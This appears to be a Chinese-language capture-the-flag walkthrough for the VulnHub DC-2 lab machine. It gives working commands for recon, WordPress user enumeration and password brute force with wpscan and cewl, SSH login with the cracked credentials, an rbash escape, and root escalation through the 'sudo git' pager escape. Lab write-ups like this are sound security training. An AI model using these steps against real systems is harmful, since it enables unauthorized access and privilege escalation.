php
个人选择html
虚拟机:VMware15git
攻击机:kali-2021浏览器
靶机:DC-2bash
浏览器:谷歌浏览器、火狐浏览器ssh
DC-2靶机下载地址:tcp
https://www.vulnhub.com/entry/dc-2,311/工具
其余下载内容见我以前的博客或者本身搜索网站
各个设备的关系ui
kali与DC-2均为桥接模式
使得本机、kali、DC-2成为三个独立的设备
也能够kali与DC-2均为NAT模式,则本机成为路由器(网关)
扫描主机
arp-scan -l
192.168.10.105
nmap -sV -A -p- 192.168.10.105
80/tcp open http Apache httpd 2.4.10 ((Debian))
7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
浏览器登录网址失败
失败缘由:本机DNS解析没有设置
Windows10设置DNS解析:C:\Windows\System32\drivers\etc\hosts
Kali Linux 设置DNS解析:vi /etc/hosts
格式:IP <Tab键> 域名
eg:192.168.10.105 dc-2
成功登录之后
发现cewl,cewl是kali自带的可以生成密码字典的工具
发现wordlist,kali系统自带的字典
爆破目录
dirb http://dc-2/
--- Scanning URL: http://dc-2/ ----
http://dc-2/index.php (CODE:301|SIZE:0)
http://dc-2/server-status (CODE:403|SIZE:292) ==> DIRECTORY: http://dc-2/wp-admin/ ==> DIRECTORY: http://dc-2/wp-content/ ==> DIRECTORY: http://dc-2/wp-includes/
http://dc-2/xmlrpc.php (CODE:405|SIZE:42)
字典爆破
wpscan扫描工具+cewl字典生成工具+wordlist字典工具(可选项)
生成用户字典
#更新升级
wpscan --update
#用户枚举
wpscan –url http://dc-2 -eu
#admin jerry tom
#创建用户字典user.txt
vi user.txt
admin
jerry
tom
生成密码字典
#使用cewl生成有关于目标网站的字典passwd.txt
cewl http://dc-2/ -w passwd.txt
字典爆破
#使用wpscan对网站进行爆破
wpscan --ignore-main-redirect --url http://dc-2/ -U user.txt -P passwd.txt -t 30
#Username: jerry, Password: adipiscing
#Username: tom, Password: parturient
#也能够使用burpsuite爆破
远程登录
尝试用户ssh
7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
#jerry登录失败,Password: adipiscing
ssh jerry@192.168.10.105 -p 7744
#tom登录成功,Password: parturient
ssh tom@192.168.10.105 -p 7744
ls
tom@DC-2:~$ ls
flag3.txt usr
tom@DC-2:~$ vi flag3.txt
切换用户
#su到jerry,受限制
tom@DC-2:~$ su jerry
-rbash: su: command not found
#绕过rbash限制
BASH_CMDS[a]=/bin/sh;a
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
su jerry
cd /home/jerry
cat flag4.txt
#Go on - git outta here!!!!
git提权
sudo -l
git命令须要去了解
sudo命令须要去了解
sudo -l:查看一些信息,发现能够经过使用git进行root提权
git提权
sudo git help config
#在末行命令模式输入
!/bin/bash 或 !‘sh’
#完成提权
cd /root/
ls
catfinal-flag.txt
#结束